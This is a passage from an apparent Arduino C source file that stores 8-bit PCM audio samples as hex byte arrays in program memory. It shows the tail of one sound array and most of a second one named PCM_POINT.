8c,0x88,0x8a,0x87,0x90,0x92,0x8e,0x95,0x97,0x96,0x91,0x8d,0x8b,0x84,0x76,0x75,0x76,0x6e,0x70,0x76,0x76,0x7a,0x83,0x88,0x8f,0x94,0x90,0x8f,0x91,0x92\n,0x8b,0x8b,0x92,0x94,0x91,0x94,0x97,0x96,0x96,0x92,0x91,0x8f,0x8c,0x87,0x81,0x7e,0x78,0x75,0x71,0x70,0x6e,0x6d,0x6c,0x6d,0x6d,0x6d,0x6a,0x63,0x5d,0x57,0x50,0x48\n,0x48,0x4d,0x58,0x69,0x80,0x7f,0x8e,0xa5,0x94,0x94,0xa0,0x91,0x8a,0x89,0x83,0x8a,0x86,0x87,0x95,0x93,0x91,0x96,0x95,0x92,0x8a,0x7e,0x7d,0x78,0x6d,0x70,0x72,0x70\n,0x75,0x7d,0x7f,0x8c,0x91,0x8c,0x95,0x92,0x8f,0x8e,0x8c,0x8e,0x8d,0x88,0x8e,0x91,0x8e,0x95,0x93,0x93,0x92,0x90,0x8c,0x87,0x7e,0x7b,0x76,0x6f,0x6c,0x6b,0x6b,0x6b\n,0x6d,0x6d,0x6b,0x6b,0x6a,0x64,0x5f,0x57,0x4f,0x4a,0x47,0x4c,0x59,0x70,0x71,0x7e,0xa0,0x93,0x95,0xaa,0x97,0x90,0x91,0x83,0x89,0x82,0x7c,0x8e,0x8a,0x88,0x97,0x97\n,0x93,0x93,0x8b,0x8a,0x83,0x77,0x76,0x75,0x6d,0x71,0x78,0x77,0x80,0x8d,0x8e,0x8f,0x97,0x98,0x98,0x95,0x94,0x94,0x8c,0x8b,0x91,0x8e,0x8c,0x93,0x94,0x94,0x93,0x93\n,0x8f,0x8a,0x85,0x81,0x79,0x73,0x72,0x6f,0x6c,0x6c,0x6e,0x70,0x72,0x72,0x71,0x70,0x68,0x62,0x5d,0x53,0x4d,0x4f,0x52,0x65,0x70,0x69,0x93,0x97,0x86,0xa6,0x9f,0x8e\n,0x9c,0x89,0x88,0x8c,0x75,0x84,0x88,0x7b,0x8b,0x94,0x8d,0x94,0x94,0x8d,0x8d,0x83,0x79,0x7b,0x71,0x6a,0x74,0x72,0x72,0x7f,0x80,0x86,0x8e,0x8d,0x96,0x93,0x90,0x95\n,0x8e,0x88,0x8c,0x85,0x84,0x88,0x86,0x8a,0x8a,0x8c,0x91,0x8e,0x8b,0x8a,0x82,0x7d,0x77,0x71,0x6e,0x6a,0x6b,0x6e,0x6e,0x71,0x75,0x75,0x73,0x6f,0x6d,0x65,0x5d,0x59\n,0x57,0x53,0x5a,0x71,0x65,0x75,0x99,0x83,0x90,0xaa,0x94,0x9e,0x9e,0x88,0x99,0x88,0x76,0x8c,0x81,0x78,0x8d,0x8c,0x8b,0x96,0x91,0x93,0x94,0x85,0x84,0x86,0x75,0x73\n,0x7b,0x70,0x72,0x7d,0x7a,0x7f,0x89,0x88,0x92,0x93,0x8f,0x97,0x91,0x8a,0x90,0x86,0x82,0x87,0x81,0x82,0x87,0x86,0x8a,0x8e,0x89,0x89,0x87,0x7f,0x7d,0x78,0x71,0x72\n,0x6f,0x6d,0x71,0x71,0x71,0x76,0x73,0x73,0x74,0x6e,0x6d,0x6c,0x67,0x66,0x67,0x6a,0x6d,0x6e,0x74,0x78,0x7e,0x83,0x87,0x8d,0x91,0x8e,0x90,0x90,0x8c,0x8b,0x88,0x85\n,0x87,0x86,0x86,0x89,0x88,0x88,0x89,0x88,0x86,0x83,0x82,0x7f,0x7c,0x7a,0x79,0x78,0x79,0x7a,0x7a,0x7e,0x81,0x81,0x83,0x86,0x85,0x86,0x86,0x86,0x88,0x88,0x87,0x88\n,0x88,0x88,0x89,0x88,0x86,0x85,0x82,0x7f,0x7e,0x7b,0x7b,0x7b,0x79,0x79,0x7a,0x78,0x78,0x79,0x79,0x78,0x78,0x76,0x76,0x74,0x71,0x70,0x6d,0x68,0x68,0x6a,0x68,0x6a\n,0x6e,0x73,0x76,0x7b,0x83,0x87,0x89,0x8f,0x8f,0x90,0x91,0x90,0x8e,0x90,0x90,0x8e,0x8f,0x8e,0x8c,0x8b,0x8a,0x88,0x86,0x84,0x81,0x7f,0x7f,0x7b,0x7b,0x7c,0x7b,0x7a\n,0x7c,0x7c,0x7b,0x7b,0x7d,0x7d,0x7e,0x80,0x81,0x83,0x87,0x88,0x8a,0x8d,0x8d,0x8d,0x8d,0x8b,0x8a,0x87,0x84,0x82,0x7e,0x7c,0x7a,0x78,0x78,0x78,0x78,0x79,0x79,0x7a\n,0x7a,0x79,0x78,0x77,0x76,0x75,0x73,0x73,0x72,0x72,0x73,0x73,0x74,0x75,0x75,0x75,0x75,0x76,0x75,0x75,0x77,0x77,0x7a,0x7d,0x7f,0x85,0x88,0x8a,0x8e,0x90,0x90,0x90\n,0x8f,0x8d,0x8b,0x89,0x87,0x84,0x84,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x83,0x84,0x84,0x82,0x80,0x82,0x81,0x81,0x81,0x82,0x83,0x83,0x84,0x85,0x85,0x84,0x84,0x83\n,0x81,0x7f,0x7f,0x7c,0x79,0x78,0x76,0x73,0x71,0x6f,0x6c,0x6c,0x6c,0x6c,0x6c,0x6f,0x72,0x74,0x79,0x7e,0x81,0x86,0x89,0x8a,0x8d,0x8e,0x8b,0x8b,0x8c,0x88,0x85,0x85\n,0x82,0x80,0x81,0x80,0x7f,0x80,0x81,0x80,0x81,0x82,0x81,0x82,0x81,0x80,0x80,0x81,0x80,0x80,0x82,0x82,0x82,0x83,0x84,0x84,0x84,0x84,0x83,0x84,0x84,0x82,0x83,0x82\n,0x82,0x82,0x81,0x82,0x83,0x82,0x82,0x83,0x82,0x81,0x82,0x82,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7a,0x7a,0x79,0x78,0x78,0x78,0x78,0x78\n,0x79,0x7a,0x7b,0x7b,0x7c,0x7d,0x7d,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x80,0x81,0x81,0x81,0x82\n,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x84,0x83,0x83,0x83,0x82,0x82,0x81,0x80,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7c,0x7b\n,0x7c,0x7d,0x7d,0x7d,0x7e,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x80\n,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7e,0x7e,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x81,0x81\n,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x7f,0x7f};\n\nconst char unsigned PROGMEM PCM_POINT[]={\n0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7f,0x81,0x82,0x82,0x83,0x83,0x84,0x84,0x83,0x82,0x81,0x81,0x7f,0x7e,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x80,0x81,0x81,0x82,0x83,0x83\n,0x83,0x83,0x83,0x84,0x83,0x80,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7e,0x7e,0x7d,0x7c,0x7b,0x7b,0x7b,0x7c,0x7d,0x7d,0x7d,0x7e\n,0x7f,0x80,0x82,0x84,0x86,0x85,0x83,0x7f,0x7d,0x7d,0x7d,0x7c,0x7b,0x7b,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,0x7f,0x80,0x81,0x82,0x84,0x84,0x83,0x81,0x7f,0x7d,0x7d,0x7d\n,0x7f,0x7f,0x80,0x80,0x81,0x82,0x83,0x83,0x83,0x82,0x82,0x82,0x82,0x81,0x80,0x80,0x80,0x80,0x80,0x7f,0x80,0x81,0x81,0x81,0x80,0x7e,0x7d,0x7d,0x7e,0x7f,0x80,0x81\n,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7e,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7e,0x7e,0x7f,0x80,0x7f,0x7f,0x7d,0x7c,0x7b,0x7b,0x7c,0x7d,0x7d,0x7e,0x7d,0x7c\n,0x7c,0x7f,0x81,0x83,0x83,0x81,0x7f,0x7d,0x7b,0x7b,0x7c,0x7d,0x7f,0x81,0x82,0x81,0x80,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7c,0x7b,0x7a\n,0x7c,0x7f,0x81,0x83,0x84,0x83,0x80,0x7e,0x7e,0x7e,0x80,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x80,0x81,0x82,0x83,0x83,0x81,0x80,0x7e,0x7d,0x7d,0x7f,0x81\n,0x82,0x83,0x83,0x82,0x82,0x81,0x80,0x80,0x81,0x81,0x82,0x83,0x83,0x83,0x82,0x81,0x7f,0x7e,0x7d,0x7e,0x7f,0x81,0x83,0x84,0x83,0x80,0x7e,0x7d,0x7d,0x7e,0x80,0x81\n,0x82,0x81,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x7f,0x7e,0x7d,0x7d,0x7d,0x7d,0x7e,0x7f,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x7f,0x7d,0x7d,0x7d\n,0x7e,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7f,0x7f,0x80,0x81,0x81,0x80,0x7f,0x7d,0x7c,0x7b,0x7d,0x7e,0x80,0x81,0x81,0x80,0x7f,0x7e,0x7d,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x7f,0x7d,0x7d,0x7c,0x7d,0x7d,0x7f,0x80,0x80,0x80,0x80,0x7f,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x7f,0x7e,0x7d,0x7c\n,0x7d,0x7e,0x80,0x82,0x83,0x83,0x82,0x81,0x7f,0x7d,0x7c,0x7c,0x7c,0x7e,0x80,0x82,0x82,0x82,0x81,0x81,0x82,0x82,0x83,0x84,0x84,0x84,0x84,0x85,0x87,0x88,0x8a,0x8b\n,0x8b,0x8a,0x8a,0x88,0x87,0x87,0x86,0x86,0x85,0x84,0x83,0x81,0x7e,0x7b,0x78,0x76,0x74,0x72,0x70,0x6d,0x6a,0x65,0x61,0x5c,0x59,0x58,0x5b,0x61,0x6a,0x77,0x87,0x97\n,0xa5,0xae,0xb0,0xab,0x9f,0x8f,0x7e,0x6f,0x63,0x61,0x67,0x76,0x8b,0xa0,0xb1,0xbb,0xbd,0xb4,0xa7,0x96,0x88,0x7c,0x77,0x75,0x77,0x79,0x7a,0x7b,0x7a,0x78,0x76,0x74\n,0x72,0x6f,0x6a,0x62,0x57,0x4a,0x3c,0x30,0x29,0x33,0x4a,0x6c,0x95,0xb8,0xd7,0xe3,0xde,0xc9,0xa9,0x83,0x60,0x49,0x3c,0x40,0x4f,0x66,0x7f,0x99,0xaa,0xb8,0xbf,0xbe\n,0xb6,0xa7,0x97,0x81,0x71,0x62,0x5d,0x5e,0x6a,0x7a,0x8d,0x9f,0xaa,0xb1,0xb0,0xac,0xa1,0x95,0x84,0x72,0x60,0x4d,0x3c,0x2a,0x1b,0x0f,0x14,0x2f,0x56,0x89,0xb4,0xd9\n,0xee,0xe9,0xd2,0xaa,0x79,0x4f,0x33,0x29,0x33,0x4e,0x70,0x91,0xb1,0xc4,0xc9,0xc4,0xb7,0xa4,0x92,0x84,0x74,0x6e,0x68,0x66,0x6c,0x74,0x7e,0x8b,0x98,0xa0,0xa8,0xa9\n,0xa6,0xa1,0x98,0x8b,0x7c,0x6b,0x58,0x49,0x38,0x2a,0x1e,0x15,0x1d,0x3a,0x5d,0x8b,0xae,0xcd,0xdd,0xd2,0xbf,0x96,0x6e,0x4d,0x3a,0x39,0x4b,0x69,0x88,0xaa,0xc4,0xcd\n,0xca,0xbd,0xa3,0x8f,0x7d,0x72,0x6d,0x6e,0x70,0x76,0x7e,0x81,0x89,0x8f,0x96,0x9b,0xa0,0xa2,0xa3,0x9f,0x98,0x90,0x80,0x72,0x60,0x52,0x43,0x38,0x2c,0x24,0x22,0x33\n,0x53,0x74,0x99,0xad,0xc5,0xc1,0xb3,0x9a,0x73,0x59,0x45,0x44,0x4f,0x6b,0x87,0xa4,0xbd,0xca,0xc7,0xbf,0xab,0x93,0x87,0x76,0x75,0x73,0x77,0x79,0x82,0x86,0x8a,0x93\n,0x95,0xa0,0xa2,0xa5,0xa5,0xa2,0x9b,0x95,0x8a,0x7e,0x73,0x65,0x5c,0x52,0x4b,0x42,0x38,0x2f,0x2a,0x39,0x51,0x6e,0x8a,0x9c,0xb0,0xad,0xa0,0x8c,0x6e,0x5c,0x56,0x5a\n,0x6b,0x86,0x9d,0xb0,0xbe,0xbf,0xb6,0xac,0x97,0x85,0x7a,0x71,0x71,0x73,0x76,0x79,0x82,0x87,0x8d,0x94,0x99,0xa0,0xa0,0x9c,0x98,0x92,0x89,0x84,0x7f,0x7d,0x7c,0x77\n,0x77,0x72,0x6c,0x62,0x56,0x45,0x34,0x24,0x29,0x3c,0x53,0x70,0x82,0x9b,0x9f,0x9b,0x91,0x7e,0x77,0x74,0x7b,0x88,0x9a,0xa3,0xaa,0xab,0xa8,0x9c,0x95,0x89,0x81,0x82\n,0x7d,0x83,0x83,0x87,0x84,0x8a,0x8a,0x8c,0x92,0x92,0x97,0x92,0x8f,0x88,0x85,0x81,0x87,0x8b,0x91,0x96,0x95,0x92,0x89,0x7e,0x6c,0x5c,0x46,0x30,0x1d,0x0f,0x1b,0x33\n,0x53,0x75,0x8f,0xa8,0xb1,0xaa,0xa0,0x8d,0x80,0x7d,0x7e,0x87,0x90,0x96,0x98,0x9c,0x9f,0x9c,0x9f,0x9b,0x97,0x95,0x8a,0x81,0x77,0x6e,0x6a,0x6f,0x78,0x84,0x90,0x94\n,0x97,0x90,0x89,0x84,0x84,0x88,0x91,0x9b,0xa1,0xa6,0x9f,0x96,0x87,0x77,0x66,0x59,0x4d,0x40,0x2f,0x1e,0x13,0x1a,0x36,0x54,0x77,0x8f,0xa6,0xae,0xa5,0x9b,0x8a,0x83\n,0x88,0x90,0x98,0xa0,0x9b,0x95,0x90,0x93,0x93,0x9b,0xa2,0xa0,0xa0,0x8d,0x7a,0x65,0x5b,0x5a,0x69,0x7e,0x8e,0x9c,0x9b,0x95,0x89,0x81,0x80,0x87,0x91,0x9e,0xa6,0xa4\n,0x9e,0x8f,0x87,0x7d,0x78,0x71,0x6c,0x65,0x54,0x42,0x28,0x13,0x07,0x1a,0x3d,0x62,0x83,0x94,0xa4,0xa3,0x9f,0x9d,0x9b,0x9e,0xa5,0xa0,0x98,0x8c,0x7f,0x7f,0x8b,0xa1\n,0xad,0xb9,0xb0,0x9b,0x86,0x6d,0x62,0x61,0x6c,0x78,0x89,0x8c,0x85,0x81,0x7d,0x81,0x87,0x90,0x95,0x9c,0x99,0x98,0x97,0x96,0x99,0x9a,0x9a,0x93,0x8a,0x79,0x71,0x6a\n,0x68,0x64,0x56,0x43,0x27,0x0e,0x00,0x19,0x42,0x70,0x92,0x9e,0xa3,0x99,0x8f,0x93,0x9d,0xa6,0xae,0xa1,0x8d,0x79,0x6c,0x72,0x88,0xa6,0xb1,0xb6,0xa7,0x8f,0x81,0x77\n,0x75,0x74,0x74,0x6b,0x68,0x68,0x6c,0x7f,0x91,0x9d,0x9e,0x97,0x8b,0x8c,0x8e,0x98,0x9f,0x9e,0x96,0x8d,0x8a,0x8a,0x94,0x94,0x92,0x85,0x70,0x5d,0x4f,0x43,0x39,0x2b\n,0x1c,0x15,0x2a,0x4a,0x6a,0x85,0x8d,0x9d,0x9f,0xa3,0xad,0xac,0xa0,0x94,0x7f,0x74,0x75,0x81,0x94,0xa3,0xac,0x9e,0x98,0x90,0x8a,0x8c,0x8a,0x7e,0x70,0x66,0x61,0x6a\n,0x77,0x7d,0x83,0x89,0x8a,0x8e,0x95,0x96,0x99,0x9b,0x98,0x9c,0xa1,0xa0,0x9e,0x9b,0x90,0x8d,0x8a,0x89,0x89,0x83,0x79,0x6e,0x64,0x52,0x42,0x29,0x17,0x0c,0x20,0x45\n,0x5e,0x74,0x78,0x88,0xa0,0xaf,0xb9,0xb1,0x95,0x85,0x7e,0x84,0x8b,0x8a,0x86,0x7f,0x8c,0x98,0xa5,0xab,0x9a,0x86,0x77,0x72,0x73,0x72,0x6f,0x68,0x67,0x6c,0x6f,0x7d\n,0x87,0x8c,0x95,0x9f,0xa3,0xa4,0xa5,0xa0,0xa2,0xa4,0xa0,0x9e,0x98,0x90,0x92,0x91,0x92,0x8f,0x87,0x7d,0x77,0x6e,0x5d,0x49,0x31,0x1c,0x17,0x19,0x2c,0x52,0x5c,0x6c\n,0x78,0x85,0x9f,0xa4,0xa2,0xa3,0x9c,0x9c,0x97,0x8b,0x82,0x78,0x82,0x85,0x8c,0x90,0x8b,0x90,0x90,0x8c,0x84,0x79,0x72,0x6a,0x68,0x66,0x69,0x72,0x78,0x80,0x87,0x8f\n,0x96,0xa5,0xac,0xad,0xa8,0xa2,0x9b,0x9c,0x9c,0x96,0x96,0x90,0x8e,0x89,0x8b,0x8a,0x8d,0x8d,0x86,0x7c,0x70,0x63,0x5b,0x53,0x46,0x3e,0x32,0x31,0x3a,0x52,0x52,0x63\n,0x74,0x7b,0x93,0x98,0x9c,0xa8,0xa7,0x9d,0x93,0x84,0x81,0x77,0x78,0x75,0x76,0x84,0x87,0x8d,0x8b,0x90,0x8f,0x8d,0x8c,0x84,0x7e,0x7d,0x73,0x72,0x78,0x7d,0x85,0x8c\n,0x91,0x96,0x9d,0x9b,0x9b,0x99,0x97,0x96,0x96,0x91,0x90,0x91,0x8f,0x8e,0x90,0x91,0x90,0x91,0x8f,0x8b,0x83,0x7a,0x6f,0x66,0x5c,0x4f,0x48,0x3e,0x3b,0x39,0x46,0x55\n,0x48,0x61,0x6a,0x68,0x7f,0x85,0x8f,0x9b,0x9a,0x99,0x97,0x94,0x8d,0x81,0x89,0x81,0x7f,0x85,0x88,0x8b,0x8a,0x96,0x91,0x8f,0x90,0x87,0x84,0x83,0x7b,0x74,0x77,0x77\n,0x76,0x7e,0x86,0x8b,0x8f,0x95,0x9e,0xa0,0xa2,0xa2,0x9b,0x98,0x94,0x8f,0x90,0x90,0x91,0x8d,0x8c,0x8c,0x88,0x88,0x82,0x7c,0x77,0x70,0x6a,0x64,0x59,0x4f,0x45,0x3e\n,0x38,0x44,0x42,0x3f,0x67,0x61,0x6d,0x8f,0x86,0x92,0x9d,0x9b,0x9a,0x98,0x94,0x88,0x83,0x88,0x7f,0x85,0x88,0x89,0x90,0x8d,0x98,0x8d,0x8c,0x8e,0x84,0x83,0x7e,0x7b\n,0x74,0x77,0x78,0x7b,0x84,0x89,0x8f,0x90,0x96,0x98,0x96,0x94,0x96,0x90,0x8c,0x8f,0x8c,0x8d,0x8d,0x91,0x90,0x94,0x96,0x94,0x94,0x8f,0x89,0x7f,0x79,0x71,0x6a,0x62\n,0x5c,0x53,0x4c,0x48,0x44,0x40,0x50,0x47,0x4c,0x6f,0x52,0x72,0x83,0x71,0x94,0x92,0x94,0xa1,0x96,0x9b,0x99,0x8f,0x97,0x92,0x8d,0x8a,0x8e,0x82,0x85,0x8e,0x7e,0x8a\n,0x86,0x82,0x84,0x7f,0x82,0x7e,0x7e,0x80,0x7b,0x7d,0x7f,0x7b,0x7e,0x85,0x85,0x89,0x90,0x92,0x94,0x97,0x99,0x9a,0x98,0x9b,0x9b,0x93,0x95,0x8e,0x89,0x87,0x82,0x80\n,0x7c,0x77,0x72,0x6f,0x68,0x66,0x63,0x5f,0x5e,0x5c,0x55,0x55,0x4d,0x52,0x4d,0x4e,0x68,0x53,0x6e,0x7e,0x72,0x91,0x8e,0x93,0xa3,0x9b,0xa7,0xa6,0x99,0xa1,0x97,0x8e\n,0x92,0x8d,0x84,0x8a,0x86,0x83,0x8a,0x83,0x8a,0x86,0x82,0x87,0x7e,0x7d,0x7e,0x78,0x75,0x7a,0x76,0x78,0x7f,0x82,0x85,0x8d,0x8f,0x93,0x96,0x97,0x9b,0x94,0x99,0x99\n,0x8f,0x92,0x8c,0x85,0x82,0x7e,0x7b,0x74,0x74,0x73,0x6c,0x6f,0x6e,0x6b,0x6a,0x6b,0x67,0x62,0x62,0x5b,0x56,0x55,0x51,0x56,0x51,0x57,0x65,0x5c,0x73,0x7d,0x7c,0x94\n,0x98,0x9e,0xab,0xa6,0xab,0xaa,0x9f,0xa3,0x9a,0x92,0x95,0x8c,0x85,0x88,0x80,0x7e,0x7f,0x79,0x7c,0x7a,0x77,0x7c,0x77,0x79,0x7e,0x79,0x7d,0x7f,0x7e,0x83,0x86,0x88\n,0x8c,0x8e,0x90,0x92,0x91,0x94,0x93,0x90,0x92,0x8f,0x8c,0x8d,0x86,0x84,0x80,0x7a,0x78,0x73,0x6f,0x6d,0x6a,0x67,0x67,0x67,0x67,0x67,0x68,0x68,0x69,0x67,0x69,0x68\n,0x68,0x68,0x69,0x69,0x6c,0x74,0x74,0x7c,0x83,0x89,0x90,0x96,0x9b,0x9e,0xa1,0xa0,0x9f,0x9e,0x97,0x97,0x94,0x8e,0x8e,0x8a,0x86,0x86,0x83,0x80,0x81,0x7c,0x7b,0x7b\n,0x76,0x77,0x76,0x74,0x76,0x75,0x79,0x7b,0x7d,0x81,0x85,0x87,0x8a,0x8d,0x8d,0x8f,0x8f,0x8d,0x8e,0x8b,0x8b,0x89,0x86,0x85,0x80,0x7d,0x7a,0x76,0x73,0x70,0x6d,0x6b\n,0x6a,0x69,0x6a,0x6b,0x6b,0x6e,0x6f,0x71,0x73,0x74,0x76,0x78,0x7a,0x7c,0x7c,0x7d,0x7e,0x7f,0x7f,0x80,0x7f,0x80,0x81,0x82,0x83,0x84,0x84,0x86,0x87,0x89,0x8b,0x8a\n,0x8a,0x8b,0x89,0x89,0x89,0x87,0x89,0x86,0x88,0x86,0x84,0x85,0x82,0x82,0x81,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7d,0x7d,0x7e,0x7f,0x81,0x82,0x83,0x85,0x85,0x87,0x86\n,0x85,0x86,0x84,0x83,0x83,0x82,0x81,0x82,0x80,0x80,0x7f,0x7e,0x7d,0x7c,0x7c,0x7a,0x79,0x7a,0x79,0x7a,0x7b,0x7b,0x7c,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x81\n,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7b,0x7c,0x7b,0x7b,0x7c,0x7c,0x7d,0x7e,0x7f,0x81,0x81,0x82,0x83,0x84,0x84,0x85,0x85,0x85,0x85,0x84\n,0x84,0x83,0x82,0x82,0x80,0x7f,0x7f,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7d,0x7e,0x7e,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x80,0x80,0x7f,0x80\n,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7d,0x7c,0x7d,0x7c,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x81,0x82\n,0x83,0x84,0x85,0x85,0x85,0x86,0x85,0x85,0x84,0x83,0x83,0x82,0x82,0x82,0x81,0x81,0x80,0x80,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x80,0x80\n,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x82,0x81,0x81,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7a,0x7b,0x7a\n,0x7b,0x7b,0x7b,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x81,0x80,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x7e,0x7f,0x7e,0x7e,0x7f,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x81,0x82,0x81,0x80,0x81,0x7f,0x82,0x84\n,0x81,0x81,0x81,0x7f,0x83,0x84,0x83,0x85,0x81,0x83,0x86,0x84,0x85,0x83,0x7f,0x80,0x7f,0x7c,0x7e,0x7d,0x7b,0x7d,0x7e,0x7e,0x80,0x81,0x80,0x83,0x81,0x82,0x82,0x82\n,0x80,0x82,0x80,0x7f,0x80,0x7f,0x7e,0x80,0x7d,0x7e,0x7f,0x7e,0x7e,0x7f,0x7e,0x7e,0x7f,0x7e,0x7f,0x7e,0x7e,0x7d,0x80,0x7d,0x7f,0x7f,0x7e,0x80,0x80,0x81,0x81,0x81\n,0x80,0x82,0x7f,0x7f,0x7e,0x7e,0x7d,0x7e,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7e,0x7f,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80\n,0x7f,0x80,0x7f,0x7f,0x7e,0x7f,0x7e,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,